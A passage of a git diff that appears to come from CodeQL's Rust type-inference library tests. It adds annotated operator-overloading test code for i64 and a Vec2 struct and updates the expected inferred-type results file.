!self.y, // $ fieldof=Vec2 method=not + } + } + } + impl PartialEq for Vec2 { + // Vec2::eq + fn eq(&self, other: &Self) -> bool { + self.x == other.x && self.y == other.y // $ fieldof=Vec2 method=eq + } + // Vec2::ne + fn ne(&self, other: &Self) -> bool { + self.x != other.x || self.y != other.y // $ fieldof=Vec2 method=ne + } + } + impl PartialOrd for Vec2 { + // Vec2::partial_cmp + fn partial_cmp(&self, other: &Self) -> Option { + (self.x + self.y).partial_cmp(&(other.x + other.y)) // $ fieldof=Vec2 method=partial_cmp method=add + } + // Vec2::lt + fn lt(&self, other: &Self) -> bool { + self.x < other.x && self.y < other.y // $ fieldof=Vec2 method=lt + } + // Vec2::le + fn le(&self, other: &Self) -> bool { + self.x <= other.x && self.y <= other.y // $ fieldof=Vec2 method=le + } + // Vec2::gt + fn gt(&self, other: &Self) -> bool { + self.x > other.x && self.y > other.y // $ fieldof=Vec2 method=gt + } + // Vec2::ge + fn ge(&self, other: &Self) -> bool { + self.x >= other.x && self.y >= other.y // $ fieldof=Vec2 method=ge + } + } + pub fn f() { + // Test for all overloadable operators on `i64` + + // Comparison operators + let i64_eq = (1i64 == 2i64); // $ type=i64_eq:bool method=eq + let i64_ne = (3i64 != 4i64); // $ type=i64_ne:bool method=ne + let i64_lt = (5i64 < 6i64); // $ type=i64_lt:bool method=lt + let i64_le = (7i64 <= 8i64); // $ type=i64_le:bool method=le + let i64_gt = (9i64 > 10i64); // $ type=i64_gt:bool method=gt + let i64_ge = (11i64 >= 12i64); // $ type=i64_ge:bool method=ge + + // Arithmetic operators + let i64_add = 13i64 + 14i64; // $ type=i64_add:i64 method=add + let i64_sub = 15i64 - 16i64; // $ type=i64_sub:i64 method=sub + let i64_mul = 17i64 * 18i64; // $ type=i64_mul:i64 method=mul + let i64_div = 19i64 / 20i64; // $ type=i64_div:i64 method=div + let i64_rem = 21i64 % 22i64; // $ type=i64_rem:i64 method=rem + + // Arithmetic assignment operators + let mut i64_add_assign = 23i64; + i64_add_assign += 24i64; // $ method=add_assign + + let mut i64_sub_assign = 25i64; + i64_sub_assign -= 26i64; // $ method=sub_assign + + let mut i64_mul_assign = 27i64; + i64_mul_assign *= 28i64; // $ method=mul_assign + + let mut i64_div_assign = 29i64; + i64_div_assign /= 30i64; // $ method=div_assign + + let mut i64_rem_assign = 31i64; + i64_rem_assign %= 32i64; // $ method=rem_assign + + // Bitwise operators + let i64_bitand = 33i64 & 34i64; // $ type=i64_bitand:i64 method=bitand + let i64_bitor = 35i64 | 36i64; // $ type=i64_bitor:i64 method=bitor + let i64_bitxor = 37i64 ^ 38i64; // $ type=i64_bitxor:i64 method=bitxor + let i64_shl = 39i64 << 40i64; // $ type=i64_shl:i64 method=shl + let i64_shr = 41i64 >> 42i64; // $ type=i64_shr:i64 method=shr + + // Bitwise assignment operators + let mut i64_bitand_assign = 43i64; + i64_bitand_assign &= 44i64; // $ method=bitand_assign + + let mut i64_bitor_assign = 45i64; + i64_bitor_assign |= 46i64; // $ method=bitor_assign + + let mut i64_bitxor_assign = 47i64; + i64_bitxor_assign ^= 48i64; // $ method=bitxor_assign + + let mut i64_shl_assign = 49i64; + i64_shl_assign <<= 50i64; // $ method=shl_assign + + let mut i64_shr_assign = 51i64; + i64_shr_assign >>= 52i64; // $ method=shr_assign + + let i64_neg = -53i64; // $ type=i64_neg:i64 method=neg + let i64_not = !54i64; // $ type=i64_not:i64 method=not + + // Test for all overloadable operators on Vec2 + let v1 = Vec2 { x: 1, y: 2 }; + let v2 = Vec2 { x: 3, y: 4 }; + + // Comparison operators + let vec2_eq = v1 == v2; // $ type=vec2_eq:bool method=Vec2::eq + let vec2_ne = v1 != v2; // $ type=vec2_ne:bool method=Vec2::ne + let vec2_lt = v1 < v2; // $ type=vec2_lt:bool method=Vec2::lt + let vec2_le = v1 <= v2; // $ type=vec2_le:bool method=Vec2::le + let vec2_gt = v1 > v2; // $ type=vec2_gt:bool method=Vec2::gt + let vec2_ge = v1 >= v2; // $ type=vec2_ge:bool method=Vec2::ge + + // Arithmetic operators + let vec2_add = v1 + v2; // $ type=vec2_add:Vec2 method=Vec2::add + let vec2_sub = v1 - v2; // $ type=vec2_sub:Vec2 method=Vec2::sub + let vec2_mul = v1 * v2; // $ type=vec2_mul:Vec2 method=Vec2::mul + let vec2_div = v1 / v2; // $ type=vec2_div:Vec2 method=Vec2::div + let vec2_rem = v1 % v2; // $ type=vec2_rem:Vec2 method=Vec2::rem + + // Arithmetic assignment operators + let mut vec2_add_assign = v1; + vec2_add_assign += v2; // $ method=Vec2::add_assign + + let mut vec2_sub_assign = v1; + vec2_sub_assign -= v2; // $ method=Vec2::sub_assign + + let mut vec2_mul_assign = v1; + vec2_mul_assign *= v2; // $ method=Vec2::mul_assign + + let mut vec2_div_assign = v1; + vec2_div_assign /= v2; // $ method=Vec2::div_assign + + let mut vec2_rem_assign = v1; + vec2_rem_assign %= v2; // $ method=Vec2::rem_assign + + // Bitwise operators + let vec2_bitand = v1 & v2; // $ type=vec2_bitand:Vec2 method=Vec2::bitand + let vec2_bitor = v1 | v2; // $ type=vec2_bitor:Vec2 method=Vec2::bitor + let vec2_bitxor = v1 ^ v2; // $ type=vec2_bitxor:Vec2 method=Vec2::bitxor + let vec2_shl = v1 << 1u32; // $ type=vec2_shl:Vec2 method=Vec2::shl + let vec2_shr = v1 >> 1u32; // $ type=vec2_shr:Vec2 method=Vec2::shr + + // Bitwise assignment operators + let mut vec2_bitand_assign = v1; + vec2_bitand_assign &= v2; // $ method=Vec2::bitand_assign + + let mut vec2_bitor_assign = v1; + vec2_bitor_assign |= v2; // $ method=Vec2::bitor_assign + + let mut vec2_bitxor_assign = v1; + vec2_bitxor_assign ^= v2; // $ method=Vec2::bitxor_assign + + let mut vec2_shl_assign = v1; + vec2_shl_assign <<= 1u32; // $ method=Vec2::shl_assign + + let mut vec2_shr_assign = v1; + vec2_shr_assign >>= 1u32; // $ method=Vec2::shr_assign + + // Prefix operators + let vec2_neg = -v1; // $ type=vec2_neg:Vec2 method=Vec2::neg + let vec2_not = !v1; // $ type=vec2_not:Vec2 method=Vec2::not + } +} + fn main() { field_access::f(); method_impl::f(); @@ -995,4 +1647,6 @@ fn main() { implicit_self_borrow::f(); borrowed_typed::f(); try_expressions::f(); + builtins::f(); + operators::f(); } diff --git a/rust/ql/test/library-tests/type-inference/type-inference.expected b/rust/ql/test/library-tests/type-inference/type-inference.expected index 42e5d90701b9..ff33ad89cb82 100644 --- a/rust/ql/test/library-tests/type-inference/type-inference.expected +++ b/rust/ql/test/library-tests/type-inference/type-inference.expected @@ -1,4 +1,3 @@ -testFailures inferType | loop/main.rs:7:12:7:15 | SelfParam | | loop/main.rs:6:1:8:1 | Self [trait T1] | | loop/main.rs:11:12:11:15 | SelfParam | | loop/main.rs:10:1:14:1 | Self [trait T2] | @@ -6,6 +5,7 @@ inferType | main.rs:26:13:26:13 | x | | main.rs:5:5:8:5 | MyThing | | main.rs:26:17:26:32 | MyThing {...} | | main.rs:5:5:8:5 | MyThing | | main.rs:26:30:26:30 | S | | main.rs:2:5:3:13 | S | +| main.rs:27:18:27:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:27:26:27:26 | x | | main.rs:5:5:8:5 | MyThing | | main.rs:27:26:27:28 | x.a | | main.rs:2:5:3:13 | S | | main.rs:32:13:32:13 | x | | main.rs:16:5:19:5 | GenericThing | @@ -13,6 +13,7 @@ inferType | main.rs:32:17:32:42 | GenericThing::<...> {...} | | main.rs:16:5:19:5 | GenericThing | | main.rs:32:17:32:42 | GenericThing::<...> {...} | A | main.rs:2:5:3:13 | S | | main.rs:32:40:32:40 | S | | main.rs:2:5:3:13 | S | +| main.rs:33:18:33:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:33:26:33:26 | x | | main.rs:16:5:19:5 | GenericThing | | main.rs:33:26:33:26 | x | A | main.rs:2:5:3:13 | S | | main.rs:33:26:33:28 | x.a | | main.rs:2:5:3:13 | S | @@ -21,6 +22,7 @@ inferType | main.rs:36:17:36:37 | GenericThing {...} | | main.rs:16:5:19:5 | GenericThing | | main.rs:36:17:36:37 | GenericThing {...} | A | main.rs:2:5:3:13 | S | | main.rs:36:35:36:35 | S | | main.rs:2:5:3:13 | S | +| main.rs:37:18:37:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:37:26:37:26 | x | | main.rs:16:5:19:5 | GenericThing | | main.rs:37:26:37:26 | x | A | main.rs:2:5:3:13 | S | | main.rs:37:26:37:28 | x.a | | main.rs:2:5:3:13 | S | @@ -28,6 +30,7 @@ inferType | main.rs:41:17:43:9 | OptionS {...} | | main.rs:21:5:23:5 | OptionS | | main.rs:42:16:42:33 | ...::MyNone(...) | | main.rs:10:5:14:5 | MyOption | | main.rs:42:16:42:33 | ...::MyNone(...) | T | main.rs:2:5:3:13 | S | +| main.rs:44:18:44:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:44:26:44:26 | x | | main.rs:21:5:23:5 | OptionS | | main.rs:44:26:44:28 | x.a | | main.rs:10:5:14:5 | MyOption | | main.rs:44:26:44:28 | x.a | T | main.rs:2:5:3:13 | S | @@ -39,6 +42,7 @@ inferType | main.rs:47:17:49:9 | GenericThing::<...> {...} | A.T | main.rs:2:5:3:13 | S | | main.rs:48:16:48:33 | ...::MyNone(...) | | main.rs:10:5:14:5 | MyOption | | main.rs:48:16:48:33 | ...::MyNone(...) | T | main.rs:2:5:3:13 | S | +| main.rs:50:18:50:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:50:26:50:26 | x | | main.rs:16:5:19:5 | GenericThing | | main.rs:50:26:50:26 | x | A | main.rs:10:5:14:5 | MyOption | | main.rs:50:26:50:26 | x | A.T | main.rs:2:5:3:13 | S | @@ -59,6 +63,7 @@ inferType | main.rs:56:30:56:30 | x | A.T | main.rs:2:5:3:13 | S | | main.rs:56:30:56:32 | x.a | | main.rs:10:5:14:5 | MyOption | | main.rs:56:30:56:32 | x.a | T | main.rs:2:5:3:13 | S | +| main.rs:57:18:57:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:57:26:57:26 | a | | main.rs:10:5:14:5 | MyOption | | main.rs:57:26:57:26 | a | T | main.rs:2:5:3:13 | S | | main.rs:70:19:70:22 | SelfParam | | main.rs:67:5:67:21 | Foo | @@ -68,6 +73,7 @@ inferType | main.rs:74:32:76:9 | { ... } | | main.rs:67:5:67:21 | Foo | | main.rs:75:13:75:16 | self | | main.rs:67:5:67:21 | Foo | | main.rs:79:23:84:5 | { ... } | | main.rs:67:5:67:21 | Foo | +| main.rs:80:18:80:33 | "main.rs::m1::f\\n" | | {EXTERNAL LOCATION} | str | | main.rs:81:13:81:13 | x | | main.rs:67:5:67:21 | Foo | | main.rs:81:17:81:22 | Foo {...} | | main.rs:67:5:67:21 | Foo | | main.rs:82:13:82:13 | y | | main.rs:67:5:67:21 | Foo | @@ -76,1025 +82,2300 @@ inferType | main.rs:86:14:86:14 | x | | main.rs:67:5:67:21 | Foo | | main.rs:86:22:86:22 | y | | main.rs:67:5:67:21 | Foo | | main.rs:86:37:90:5 | { ... } | | main.rs:67:5:67:21 | Foo | +| main.rs:87:18:87:33 | "main.rs::m1::g\\n" | | {EXTERNAL LOCATION} | str | | main.rs:88:9:88:9 | x | | main.rs:67:5:67:21 | Foo | | main.rs:88:9:88:14 | x.m1() | | main.rs:67:5:67:21 | Foo | | main.rs:89:9:89:9 | y | | main.rs:67:5:67:21 | Foo | | main.rs:89:9:89:14 | y.m2() | | main.rs:67:5:67:21 | Foo | -| main.rs:106:15:106:18 | SelfParam | | main.rs:94:5:97:5 | MyThing | -| main.rs:106:15:106:18 | SelfParam | A | main.rs:99:5:100:14 | S1 | -| main.rs:106:27:108:9 | { ... } | | main.rs:99:5:100:14 | S1 | -| main.rs:107:13:107:16 | self | | main.rs:94:5:97:5 | MyThing | -| main.rs:107:13:107:16 | self | A | main.rs:99:5:100:14 | S1 | -| main.rs:107:13:107:18 | self.a | | main.rs:99:5:100:14 | S1 | -| main.rs:113:15:113:18 | SelfParam | | main.rs:94:5:97:5 | MyThing | -| main.rs:113:15:113:18 | SelfParam | A | main.rs:101:5:102:14 | S2 | -| main.rs:113:29:115:9 | { ... } | | main.rs:94:5:97:5 | MyThing | -| main.rs:113:29:115:9 | { ... } | A | main.rs:101:5:102:14 | S2 | -| main.rs:114:13:114:30 | Self {...} | | main.rs:94:5:97:5 | MyThing | -| main.rs:114:13:114:30 | Self {...} | A | main.rs:101:5:102:14 | S2 | -| main.rs:114:23:114:26 | self | | main.rs:94:5:97:5 | MyThing | -| main.rs:114:23:114:26 | self | A | main.rs:101:5:102:14 | S2 | -| main.rs:114:23:114:28 | self.a | | main.rs:101:5:102:14 | S2 | -| main.rs:119:15:119:18 | SelfParam | | main.rs:94:5:97:5 | MyThing | -| main.rs:119:15:119:18 | SelfParam | A | main.rs:118:10:118:10 | T | -| main.rs:119:26:121:9 | { ... } | | main.rs:118:10:118:10 | T | -| main.rs:120:13:120:16 | self | | main.rs:94:5:97:5 | MyThing | -| main.rs:120:13:120:16 | self | A | main.rs:118:10:118:10 | T | -| main.rs:120:13:120:18 | self.a | | main.rs:118:10:118:10 | T | -| main.rs:125:13:125:13 | x | | main.rs:94:5:97:5 | MyThing | -| main.rs:125:13:125:13 | x | A | main.rs:99:5:100:14 | S1 | -| main.rs:125:17:125:33 | MyThing {...} | | main.rs:94:5:97:5 | MyThing | -| main.rs:125:17:125:33 | MyThing {...} | A | main.rs:99:5:100:14 | S1 | -| main.rs:125:30:125:31 | S1 | | main.rs:99:5:100:14 | S1 | -| main.rs:126:13:126:13 | y | | main.rs:94:5:97:5 | MyThing | -| main.rs:126:13:126:13 | y | A | main.rs:101:5:102:14 | S2 | -| main.rs:126:17:126:33 | MyThing {...} | | main.rs:94:5:97:5 | MyThing | -| main.rs:126:17:126:33 | MyThing {...} | A | main.rs:101:5:102:14 | S2 | -| main.rs:126:30:126:31 | S2 | | main.rs:101:5:102:14 | S2 | -| main.rs:129:26:129:26 | x | | main.rs:94:5:97:5 | MyThing | -| main.rs:129:26:129:26 | x | A | main.rs:99:5:100:14 | S1 | -| main.rs:129:26:129:28 | x.a | | main.rs:99:5:100:14 | S1 | -| main.rs:130:26:130:26 | y | | main.rs:94:5:97:5 | MyThing | -| main.rs:130:26:130:26 | y | A | main.rs:101:5:102:14 | S2 | -| main.rs:130:26:130:28 | y.a | | main.rs:101:5:102:14 | S2 | -| main.rs:132:26:132:26 | x | | main.rs:94:5:97:5 | MyThing | -| main.rs:132:26:132:26 | x | A | main.rs:99:5:100:14 | S1 | -| main.rs:133:26:133:26 | y | | main.rs:94:5:97:5 | MyThing | -| main.rs:133:26:133:26 | y | A | main.rs:101:5:102:14 | S2 | -| main.rs:135:13:135:13 | x | | main.rs:94:5:97:5 | MyThing | -| main.rs:135:13:135:13 | x | A | main.rs:99:5:100:14 | S1 | -| main.rs:135:17:135:33 | MyThing {...} | | main.rs:94:5:97:5 | MyThing | -| main.rs:135:17:135:33 | MyThing {...} | A | main.rs:99:5:100:14 | S1 | -| main.rs:135:30:135:31 | S1 | | main.rs:99:5:100:14 | S1 | -| main.rs:136:13:136:13 | y | | main.rs:94:5:97:5 | MyThing | -| main.rs:136:13:136:13 | y | A | main.rs:101:5:102:14 | S2 | -| main.rs:136:17:136:33 | MyThing {...} | | main.rs:94:5:97:5 | MyThing | -| main.rs:136:17:136:33 | MyThing {...} | A | main.rs:101:5:102:14 | S2 | -| main.rs:136:30:136:31 | S2 | | main.rs:101:5:102:14 | S2 | -| main.rs:138:26:138:26 | x | | main.rs:94:5:97:5 | MyThing | -| main.rs:138:26:138:26 | x | A | main.rs:99:5:100:14 | S1 | -| main.rs:138:26:138:31 | x.m2() | | main.rs:99:5:100:14 | S1 | -| main.rs:139:26:139:26 | y | | main.rs:94:5:97:5 | MyThing | -| main.rs:139:26:139:26 | y | A | main.rs:101:5:102:14 | S2 | -| main.rs:139:26:139:31 | y.m2() | | main.rs:101:5:102:14 | S2 | -| main.rs:155:15:155:18 | SelfParam | | main.rs:154:5:163:5 | Self [trait MyTrait] | -| main.rs:157:15:157:18 | SelfParam | | main.rs:154:5:163:5 | Self [trait MyTrait] | -| main.rs:160:9:162:9 | { ... } | | main.rs:154:5:163:5 | Self [trait MyTrait] | -| main.rs:161:13:161:16 | self | | main.rs:154:5:163:5 | Self [trait MyTrait] | -| main.rs:165:43:165:43 | x | | main.rs:165:26:165:40 | T2 | -| main.rs:165:56:167:5 | { ... } | | main.rs:165:22:165:23 | T1 | -| main.rs:166:9:166:9 | x | | main.rs:165:26:165:40 | T2 | -| main.rs:166:9:166:14 | x.m1() | | main.rs:165:22:165:23 | T1 | -| main.rs:171:15:171:18 | SelfParam | | main.rs:144:5:147:5 | MyThing | -| main.rs:171:15:171:18 | SelfParam | A | main.rs:149:5:150:14 | S1 | -| main.rs:171:27:173:9 | { ... } | | main.rs:149:5:150:14 | S1 | -| main.rs:172:13:172:16 | self | | main.rs:144:5:147:5 | MyThing | -| main.rs:172:13:172:16 | self | A | main.rs:149:5:150:14 | S1 | -| main.rs:172:13:172:18 | self.a | | main.rs:149:5:150:14 | S1 | -| main.rs:178:15:178:18 | SelfParam | | main.rs:144:5:147:5 | MyThing | -| main.rs:178:15:178:18 | SelfParam | A | main.rs:151:5:152:14 | S2 | -| main.rs:178:29:180:9 | { ... } | | main.rs:144:5:147:5 | MyThing | -| main.rs:178:29:180:9 | { ... } | A | main.rs:151:5:152:14 | S2 | -| main.rs:179:13:179:30 | Self {...} | | main.rs:144:5:147:5 | MyThing | -| main.rs:179:13:179:30 | Self {...} | A | main.rs:151:5:152:14 | S2 | -| main.rs:179:23:179:26 | self | | main.rs:144:5:147:5 | MyThing | -| main.rs:179:23:179:26 | self | A | main.rs:151:5:152:14 | S2 | -| main.rs:179:23:179:28 | self.a | | main.rs:151:5:152:14 | S2 | -| main.rs:184:13:184:13 | x | | main.rs:144:5:147:5 | MyThing | -| main.rs:184:13:184:13 | x | A | main.rs:149:5:150:14 | S1 | -| main.rs:184:17:184:33 | MyThing {...} | | main.rs:144:5:147:5 | MyThing | -| main.rs:184:17:184:33 | MyThing {...} | A | main.rs:149:5:150:14 | S1 | -| main.rs:184:30:184:31 | S1 | | main.rs:149:5:150:14 | S1 | -| main.rs:185:13:185:13 | y | | main.rs:144:5:147:5 | MyThing | -| main.rs:185:13:185:13 | y | A | main.rs:151:5:152:14 | S2 | -| main.rs:185:17:185:33 | MyThing {...} | | main.rs:144:5:147:5 | MyThing | -| main.rs:185:17:185:33 | MyThing {...} | A | main.rs:151:5:152:14 | S2 | -| main.rs:185:30:185:31 | S2 | | main.rs:151:5:152:14 | S2 | -| main.rs:187:26:187:26 | x | | main.rs:144:5:147:5 | MyThing | -| main.rs:187:26:187:26 | x | A | main.rs:149:5:150:14 | S1 | -| main.rs:188:26:188:26 | y | | main.rs:144:5:147:5 | MyThing | -| main.rs:188:26:188:26 | y | A | main.rs:151:5:152:14 | S2 | -| main.rs:190:13:190:13 | x | | main.rs:144:5:147:5 | MyThing | -| main.rs:190:13:190:13 | x | A | main.rs:149:5:150:14 | S1 | -| main.rs:190:17:190:33 | MyThing {...} | | main.rs:144:5:147:5 | MyThing | -| main.rs:190:17:190:33 | MyThing {...} | A | main.rs:149:5:150:14 | S1 | -| main.rs:190:30:190:31 | S1 | | main.rs:149:5:150:14 | S1 | -| main.rs:191:13:191:13 | y | | main.rs:144:5:147:5 | MyThing | -| main.rs:191:13:191:13 | y | A | main.rs:151:5:152:14 | S2 | -| main.rs:191:17:191:33 | MyThing {...} | | main.rs:144:5:147:5 | MyThing | -| main.rs:191:17:191:33 | MyThing {...} | A | main.rs:151:5:152:14 | S2 | -| main.rs:191:30:191:31 | S2 | | main.rs:151:5:152:14 | S2 | -| main.rs:193:40:193:40 | x | | main.rs:144:5:147:5 | MyThing | -| main.rs:193:40:193:40 | x | A | main.rs:149:5:150:14 | S1 | -| main.rs:194:40:194:40 | y | | main.rs:144:5:147:5 | MyThing | -| main.rs:194:40:194:40 | y | A | main.rs:151:5:152:14 | S2 | -| main.rs:211:19:211:22 | SelfParam | | main.rs:209:5:212:5 | Self [trait FirstTrait] | -| main.rs:216:19:216:22 | SelfParam | | main.rs:214:5:217:5 | Self [trait SecondTrait] | -| main.rs:219:64:219:64 | x | | main.rs:219:45:219:61 | T | -| main.rs:221:13:221:14 | s1 | | main.rs:219:35:219:42 | I | -| main.rs:221:18:221:18 | x | | main.rs:219:45:219:61 | T | -| main.rs:221:18:221:27 | x.method() | | main.rs:219:35:219:42 | I | -| main.rs:222:26:222:27 | s1 | | main.rs:219:35:219:42 | I | -| main.rs:225:65:225:65 | x | | main.rs:225:46:225:62 | T | -| main.rs:227:13:227:14 | s2 | | main.rs:225:36:225:43 | I | -| main.rs:227:18:227:18 | x | | main.rs:225:46:225:62 | T | -| main.rs:227:18:227:27 | x.method() | | main.rs:225:36:225:43 | I | -| main.rs:228:26:228:27 | s2 | | main.rs:225:36:225:43 | I | -| main.rs:231:49:231:49 | x | | main.rs:231:30:231:46 | T | -| main.rs:232:13:232:13 | s | | main.rs:201:5:202:14 | S1 | -| main.rs:232:17:232:17 | x | | main.rs:231:30:231:46 | T | -| main.rs:232:17:232:26 | x.method() | | main.rs:201:5:202:14 | S1 | -| main.rs:233:26:233:26 | s | | main.rs:201:5:202:14 | S1 | -| main.rs:236:53:236:53 | x | | main.rs:236:34:236:50 | T | -| main.rs:237:13:237:13 | s | | main.rs:201:5:202:14 | S1 | -| main.rs:237:17:237:17 | x | | main.rs:236:34:236:50 | T | -| main.rs:237:17:237:26 | x.method() | | main.rs:201:5:202:14 | S1 | -| main.rs:238:26:238:26 | s | | main.rs:201:5:202:14 | S1 | -| main.rs:242:16:242:19 | SelfParam | | main.rs:241:5:245:5 | Self [trait Pair] | -| main.rs:244:16:244:19 | SelfParam | | main.rs:241:5:245:5 | Self [trait Pair] | -| main.rs:247:58:247:58 | x | | main.rs:247:41:247:55 | T | -| main.rs:247:64:247:64 | y | | main.rs:247:41:247:55 | T | -| main.rs:249:13:249:14 | s1 | | main.rs:201:5:202:14 | S1 | -| main.rs:249:18:249:18 | x | | main.rs:247:41:247:55 | T | -| main.rs:249:18:249:24 | x.fst() | | main.rs:201:5:202:14 | S1 | -| main.rs:250:13:250:14 | s2 | | main.rs:204:5:205:14 | S2 | -| main.rs:250:18:250:18 | y | | main.rs:247:41:247:55 | T | -| main.rs:250:18:250:24 | y.snd() | | main.rs:204:5:205:14 | S2 | -| main.rs:251:32:251:33 | s1 | | main.rs:201:5:202:14 | S1 | -| main.rs:251:36:251:37 | s2 | | main.rs:204:5:205:14 | S2 | -| main.rs:254:69:254:69 | x | | main.rs:254:52:254:66 | T | -| main.rs:254:75:254:75 | y | | main.rs:254:52:254:66 | T | -| main.rs:256:13:256:14 | s1 | | main.rs:201:5:202:14 | S1 | -| main.rs:256:18:256:18 | x | | main.rs:254:52:254:66 | T | -| main.rs:256:18:256:24 | x.fst() | | main.rs:201:5:202:14 | S1 | -| main.rs:257:13:257:14 | s2 | | main.rs:254:41:254:49 | T2 | -| main.rs:257:18:257:18 | y | | main.rs:254:52:254:66 | T | -| main.rs:257:18:257:24 | y.snd() | | main.rs:254:41:254:49 | T2 | -| main.rs:258:32:258:33 | s1 | | main.rs:201:5:202:14 | S1 | -| main.rs:258:36:258:37 | s2 | | main.rs:254:41:254:49 | T2 | -| main.rs:274:15:274:18 | SelfParam | | main.rs:273:5:282:5 | Self [trait MyTrait] | -| main.rs:276:15:276:18 | SelfParam | | main.rs:273:5:282:5 | Self [trait MyTrait] | -| main.rs:279:9:281:9 | { ... } | | main.rs:273:19:273:19 | A | -| main.rs:280:13:280:16 | self | | main.rs:273:5:282:5 | Self [trait MyTrait] | -| main.rs:280:13:280:21 | self.m1() | | main.rs:273:19:273:19 | A | -| main.rs:285:43:285:43 | x | | main.rs:285:26:285:40 | T2 | -| main.rs:285:56:287:5 | { ... } | | main.rs:285:22:285:23 | T1 | -| main.rs:286:9:286:9 | x | | main.rs:285:26:285:40 | T2 | -| main.rs:286:9:286:14 | x.m1() | | main.rs:285:22:285:23 | T1 | -| main.rs:290:49:290:49 | x | | main.rs:263:5:266:5 | MyThing | -| main.rs:290:49:290:49 | x | T | main.rs:290:32:290:46 | T2 | -| main.rs:290:71:292:5 | { ... } | | main.rs:290:28:290:29 | T1 | -| main.rs:291:9:291:9 | x | | main.rs:263:5:266:5 | MyThing | -| main.rs:291:9:291:9 | x | T | main.rs:290:32:290:46 | T2 | -| main.rs:291:9:291:11 | x.a | | main.rs:290:32:290:46 | T2 | -| main.rs:291:9:291:16 | ... .m1() | | main.rs:290:28:290:29 | T1 | -| main.rs:295:15:295:18 | SelfParam | | main.rs:263:5:266:5 | MyThing | -| main.rs:295:15:295:18 | SelfParam | T | main.rs:294:10:294:10 | T | -| main.rs:295:26:297:9 | { ... } | | main.rs:294:10:294:10 | T | -| main.rs:296:13:296:16 | self | | main.rs:263:5:266:5 | MyThing | -| main.rs:296:13:296:16 | self | T | main.rs:294:10:294:10 | T | -| main.rs:296:13:296:18 | self.a | | main.rs:294:10:294:10 | T | -| main.rs:301:13:301:13 | x | | main.rs:263:5:266:5 | MyThing | -| main.rs:301:13:301:13 | x | T | main.rs:268:5:269:14 | S1 | -| main.rs:301:17:301:33 | MyThing {...} | | main.rs:263:5:266:5 | MyThing | -| main.rs:301:17:301:33 | MyThing {...} | T | main.rs:268:5:269:14 | S1 | -| main.rs:301:30:301:31 | S1 | | main.rs:268:5:269:14 | S1 | -| main.rs:302:13:302:13 | y | | main.rs:263:5:266:5 | MyThing | -| main.rs:302:13:302:13 | y | T | main.rs:270:5:271:14 | S2 | -| main.rs:302:17:302:33 | MyThing {...} | | main.rs:263:5:266:5 | MyThing | -| main.rs:302:17:302:33 | MyThing {...} | T | main.rs:270:5:271:14 | S2 | -| main.rs:302:30:302:31 | S2 | | main.rs:270:5:271:14 | S2 | -| main.rs:304:26:304:26 | x | | main.rs:263:5:266:5 | MyThing | -| main.rs:304:26:304:26 | x | T | main.rs:268:5:269:14 | S1 | -| main.rs:304:26:304:31 | x.m1() | | main.rs:268:5:269:14 | S1 | -| main.rs:305:26:305:26 | y | | main.rs:263:5:266:5 | MyThing | -| main.rs:305:26:305:26 | y | T | main.rs:270:5:271:14 | S2 | -| main.rs:305:26:305:31 | y.m1() | | main.rs:270:5:271:14 | S2 | -| main.rs:307:13:307:13 | x | | main.rs:263:5:266:5 | MyThing | -| main.rs:307:13:307:13 | x | T | main.rs:268:5:269:14 | S1 | -| main.rs:307:17:307:33 | MyThing {...} | | main.rs:263:5:266:5 | MyThing | -| main.rs:307:17:307:33 | MyThing {...} | T | main.rs:268:5:269:14 | S1 | -| main.rs:307:30:307:31 | S1 | | main.rs:268:5:269:14 | S1 | -| main.rs:308:13:308:13 | y | | main.rs:263:5:266:5 | MyThing | -| main.rs:308:13:308:13 | y | T | main.rs:270:5:271:14 | S2 | -| main.rs:308:17:308:33 | MyThing {...} | | main.rs:263:5:266:5 | MyThing | -| main.rs:308:17:308:33 | MyThing {...} | T | main.rs:270:5:271:14 | S2 | -| main.rs:308:30:308:31 | S2 | | main.rs:270:5:271:14 | S2 | -| main.rs:310:26:310:26 | x | | main.rs:263:5:266:5 | MyThing | -| main.rs:310:26:310:26 | x | T | main.rs:268:5:269:14 | S1 | -| main.rs:310:26:310:31 | x.m2() | | main.rs:268:5:269:14 | S1 | -| main.rs:311:26:311:26 | y | | main.rs:263:5:266:5 | MyThing | -| main.rs:311:26:311:26 | y | T | main.rs:270:5:271:14 | S2 | -| main.rs:311:26:311:31 | y.m2() | | main.rs:270:5:271:14 | S2 | -| main.rs:313:13:313:14 | x2 | | main.rs:263:5:266:5 | MyThing | -| main.rs:313:13:313:14 | x2 | T | main.rs:268:5:269:14 | S1 | -| main.rs:313:18:313:34 | MyThing {...} | | main.rs:263:5:266:5 | MyThing | -| main.rs:313:18:313:34 | MyThing {...} | T | main.rs:268:5:269:14 | S1 | -| main.rs:313:31:313:32 | S1 | | main.rs:268:5:269:14 | S1 | -| main.rs:314:13:314:14 | y2 | | main.rs:263:5:266:5 | MyThing | -| main.rs:314:13:314:14 | y2 | T | main.rs:270:5:271:14 | S2 | -| main.rs:314:18:314:34 | MyThing {...} | | main.rs:263:5:266:5 | MyThing | -| main.rs:314:18:314:34 | MyThing {...} | T | main.rs:270:5:271:14 | S2 | -| main.rs:314:31:314:32 | S2 | | main.rs:270:5:271:14 | S2 | -| main.rs:316:26:316:42 | call_trait_m1(...) | | main.rs:268:5:269:14 | S1 | -| main.rs:316:40:316:41 | x2 | | main.rs:263:5:266:5 | MyThing | -| main.rs:316:40:316:41 | x2 | T | main.rs:268:5:269:14 | S1 | -| main.rs:317:26:317:42 | call_trait_m1(...) | | main.rs:270:5:271:14 | S2 | -| main.rs:317:40:317:41 | y2 | | main.rs:263:5:266:5 | MyThing | -| main.rs:317:40:317:41 | y2 | T | main.rs:270:5:271:14 | S2 | -| main.rs:319:13:319:14 | x3 | | main.rs:263:5:266:5 | MyThing | -| main.rs:319:13:319:14 | x3 | T | main.rs:263:5:266:5 | MyThing | -| main.rs:319:13:319:14 | x3 | T.T | main.rs:268:5:269:14 | S1 | -| main.rs:319:18:321:9 | MyThing {...} | | main.rs:263:5:266:5 | MyThing | -| main.rs:319:18:321:9 | MyThing {...} | T | main.rs:263:5:266:5 | MyThing | -| main.rs:319:18:321:9 | MyThing {...} | T.T | main.rs:268:5:269:14 | S1 | -| main.rs:320:16:320:32 | MyThing {...} | | 